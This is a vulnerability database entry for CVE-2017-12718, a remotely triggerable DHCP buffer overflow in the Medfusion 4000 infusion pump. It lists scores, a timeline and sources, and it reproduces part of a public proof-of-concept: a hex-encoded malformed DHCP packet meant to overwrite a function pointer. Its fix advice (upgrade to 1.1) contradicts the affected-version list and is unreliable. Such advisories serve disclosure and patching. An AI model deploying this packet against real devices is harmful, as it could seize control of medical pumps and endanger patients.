VDB-113344 · CVE-2017-12718 · EDB-ID 43776

Smiths-Medical Medfusion 4000 Wireless Syringe Infusion Pump 1.1/1.5/1.6 DHCP memory corruption

CVSS Meta Temp Score CVSS is a standardized scoring system to determine possibilities of attacks. The Temp Score considers temporal factors like disclosure, exploit and countermeasures. The unique Meta Score calculates the average score of different sources to provide a normalized scoring system.	Current Exploit Price (≈) Our analysts are monitoring exploit markets and are in contact with vulnerability brokers. The range indicates the observed or calculated exploit price to be seen on exploit markets. A good indicator to understand the monetary effort required for and the popularity of an attack.	CTI Interest Score Our Cyber Threat Intelligence team is monitoring different web sites, mailing lists, exploit markets and social media networks. The CTI Interest Score identifies the interest of attackers and the security community for this specific vulnerability in real-time. A high score indicates an elevated risk to be targeted for this vulnerability.
5.9	$0-$5k	0.00

A vulnerability was found in Smiths-Medical Medfusion 4000 Wireless Syringe Infusion Pump 1.1/1.5/1.6 (Medical Device Software). It has been declared as critical. This vulnerability affects an unknown function of the component DHCP. The manipulation with an unknown input leads to a memory corruption vulnerability. The CWE definition for the vulnerability is CWE-119. The product performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer. As an impact it is known to affect confidentiality, integrity, and availability. CVE summarizes:

A Classic Buffer Overflow issue was discovered in Smiths Medical Medfusion 4000 Wireless Syringe Infusion Pump, Version 1.1, 1.5, and 1.6. A third-party component used in the pump does not verify input buffer size prior to copying, leading to a buffer overflow, allowing remote code execution on the target device. The pump receives the potentially malicious input infrequently and under certain conditions, increasing the difficulty of exploitation.

The bug was discovered 09/07/2017. The weakness was shared 02/15/2018 by Scott Gayou as EDB-ID 43776 as not defined exploit (Exploit-DB). The advisory is shared for download at exploit-db.com. This vulnerability was named CVE-2017-12718 since 08/09/2017. The attack can be initiated remotely. No form of authentication is required for a successful exploitation. Technical details are unknown but a public exploit is available.

A public exploit has been developed by Scott Gayou in Python and been published immediately after the advisory. It is possible to download the exploit at exploit-db.com. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 161 days. During that time the estimated underground price was around $0-$5k. The code used by the exploit is:

"""Use a default valid DHCP packet to overwrite an event function pointer."""
execute_addr = 0xFFFFFFFF
exploit_pkt = bytearray.fromhex(' \
	02 01 06 00 a5 d3 0b 2f 00 00 80 00 00 00 00 00 \
	ff ff ff ff ff ff ff ff 00 00 00 00 ff ff ff ff \
	ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
	00 00 00 00 00 00 00 00 00 00 00 00 63 82 53 63 \
	35 01 02 36 04 ff ff ff ff 01 04 ff ff ff 00 43 \
	98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
	00 00 00 00 00 ff ff ff ff ff')

Upgrading to version 1.1 eliminates this vulnerability.

The vulnerability is also documented in the vulnerability database at Exploit-DB (43776). The entries 113345, 113346, 113347 and 113348 are related to this item.

Productinfo

Type

Medical Device Software

Vendor

Smiths-Medical

Name

Medfusion 4000 Wireless Syringe Infusion Pump

Version

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB CVSS-B Score: 🔍
VulDB CVSS-BT Score: 🔍
VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 6.8
VulDB Meta Temp Score: 6.5

VulDB Base Score: 5.6
VulDB Temp Score: 4.9
VulDB Vector: 🔍
VulDB Reliability: 🔍

NVD Base Score: 8.1
NVD Vector: 🔍

CVSSv2info

AV	AC	Au	C	I	A
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳

Vector	Complexity	Authentication	Confidentiality	Integrity	Availability
unlock	unlock	unlock	unlock	unlock	unlock
unlock	unlock	unlock	unlock	unlock	unlock
unlock	unlock	unlock	unlock	unlock	unlock

VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

NVD Base Score: 🔍

Exploitinginfo

Class: Memory corruption
CWE: CWE-119
ATT&CK: Unknown

Local: No
Remote: Yes

Availability: 🔍
Access: Public
Status: Proof-of-Concept
Author: Scott Gayou
Programming Language: 🔍
Download: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Price Prediction: 🔍
Current Price Estimation: 🔍

0-Day	unlock	unlock	unlock	unlock
Today	unlock	unlock	unlock	unlock

Exploit-DB: 🔍

Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: Upgrade
Status: 🔍

0-Day Time: 🔍
Exploit Delay Time: 🔍

Upgrade: Medfusion 4000 Wireless Syringe Infusion Pump 1.1

Timelineinfo

08/09/2017 🔍
09/07/2017 +29 days 🔍
09/07/2017 +0 days 🔍
02/15/2018 +161 days 🔍
02/15/2018 +0 days 🔍
02/15/2018 +0 days 🔍
02/15/2018 +0 days 🔍
02/16/2018 +1 days 🔍
01/05/2020 +688 days 🔍

Sourcesinfo

Advisory: EDB-ID 43776
Researcher: Scott Gayou
Status: Not defined

CVE: CVE-2017-12718 (🔍)
SecurityFocus: 100665 - Medfusion 4000 Wireless Syringe Infusion Pump ICSMA-17-250-02 Multiple Security Vulnerabilities

scip Labs: https://www.scip.ch/en/?labs.20161013
See also: 🔍

Entryinfo

Created: 02/16/2018 08:35
Updated: 01/05/2020 11:33
Changes: 02/16/2018 08:35 (75), 01/05/2020 11:33 (3)
Complete: 🔍

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